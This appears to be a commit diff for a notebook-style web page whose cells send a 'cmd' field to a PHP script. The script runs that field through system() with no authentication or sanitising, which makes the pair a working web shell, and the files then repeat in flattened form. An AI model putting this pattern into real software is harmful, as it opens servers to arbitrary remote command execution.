mmkathurima · July 18, 2022 16:17
diff --git a/notebook.html b/notebook.html
 <!DOCTYPE html>
 <html lang="en">

 <head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <link href="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" rel="stylesheet">
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js" type="text/javascript"></script>
    <script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js" type="text/javascript"></script>
 </head>

 <body>
 <div class="container">
    <a class="btn btn-primary runall" role="button">Run all</a>
    <div class="cloneable">
        <div>
            <a class="btn btn-primary add" role="button">Add cell</a>
            <a class="btn btn-primary rem disabled" role="button">Remove cell</a>
        </div>
        <form class="cellList" id="cellList" method="POST">
            <div>
                <label for="cmd" id="input">In [1]: </label>
            </div>
            <textarea class="form-control" id="cmd" name="cmd"></textarea>
            <input class="btn btn-primary subm" id="submit" role="button" type="submit" value="Submit">
            <pre class="output" id="output"></pre>
        </form>
    </div>
 </div>
 </body>
 <script>
    let count = 1, input;

    function runnable(form, formData) {
        $.ajax({
            type: 'post',
            url: '/notebook.php',
            data: formData,
            success: (results) => {
                let res = form.children("pre");
                res.css("background-color", "lightgray");
                res.html(results.substring(0, results.indexOf("\\0")));
            }
        });
    }

    $(".container").on("click", ".add", function (e) {
        $(".container .rem").removeClass("disabled");
        let clone = $(".cloneable").first().clone(true).appendTo(".container");
        clone.find("#cmd").val("");
        clone.find("pre").text("");
        input = clone.find("label").text();
        clone.find("label").text(input.replace(/\[(.+?)\]/g, `[${++count}]`));
    }).on("click", ".rem", function () {
        if ($(this).hasClass("disabled")) return;
        $(this).closest(".cloneable").remove();
        if ($(".container .rem").length === 1)
            $(".container .rem").addClass("disabled");
        count--;
    }).on("click", ".runall", function () {
        $("form").each(function () {
            let form = $(this);
            runnable(form, form.serialize());
        });
    });

    $(document).ready(function () {
        $("#cellList").submit(function (e) {
            e.preventDefault();
            let form = $(e.target);
            let formData = 'cmd=' + form.children("textarea").val();
            runnable(form, formData);
        });
    });
 </script>

 </html>
diff --git a/notebook.php b/notebook.php
 <?php
 if (isset($_POST["cmd"])) {
    print("\\0" . system($_POST["cmd"] . " 2>&1") . "END");
 }
	<!DOCTYPE html>
	<html lang="en">

	<head>
	<meta charset="UTF-8">
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<link href="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" rel="stylesheet">
	<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js" type="text/javascript"></script>
	<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js" type="text/javascript"></script>
	</head>

	<body>
	<div class="container">
	<a class="btn btn-primary runall" role="button">Run all</a>
	<div class="cloneable">
	<div>
	<a class="btn btn-primary add" role="button">Add cell</a>
	<a class="btn btn-primary rem disabled" role="button">Remove cell</a>
	</div>
	<form class="cellList" id="cellList" method="POST">
	<div>
	<label for="cmd" id="input">In [1]: </label>
	</div>
	<textarea class="form-control" id="cmd" name="cmd"></textarea>
	<input class="btn btn-primary subm" id="submit" role="button" type="submit" value="Submit">
	<pre class="output" id="output"></pre>
	</form>
	</div>
	</div>
	</body>
	<script>
	let count = 1, input;

	function runnable(form, formData) {
	$.ajax({
	type: 'post',
	url: '/notebook.php',
	data: formData,
	success: (results) => {
	let res = form.children("pre");
	res.css("background-color", "lightgray");
	res.html(results.substring(0, results.indexOf("\\0")));
	}
	});
	}

	$(".container").on("click", ".add", function (e) {
	$(".container .rem").removeClass("disabled");
	let clone = $(".cloneable").first().clone(true).appendTo(".container");
	clone.find("#cmd").val("");
	clone.find("pre").text("");
	input = clone.find("label").text();
	clone.find("label").text(input.replace(/\[(.+?)\]/g, `[${++count}]`));
	}).on("click", ".rem", function () {
	if ($(this).hasClass("disabled")) return;
	$(this).closest(".cloneable").remove();
	if ($(".container .rem").length === 1)
	$(".container .rem").addClass("disabled");
	count--;
	}).on("click", ".runall", function () {
	$("form").each(function () {
	let form = $(this);
	runnable(form, form.serialize());
	});
	});

	$(document).ready(function () {
	$("#cellList").submit(function (e) {
	e.preventDefault();
	let form = $(e.target);
	let formData = 'cmd=' + form.children("textarea").val();
	runnable(form, formData);
	});
	});
	</script>

	</html>
	<?php
	if (isset($_POST["cmd"])) {
	print("\\0" . system($_POST["cmd"] . " 2>&1") . "END");
	}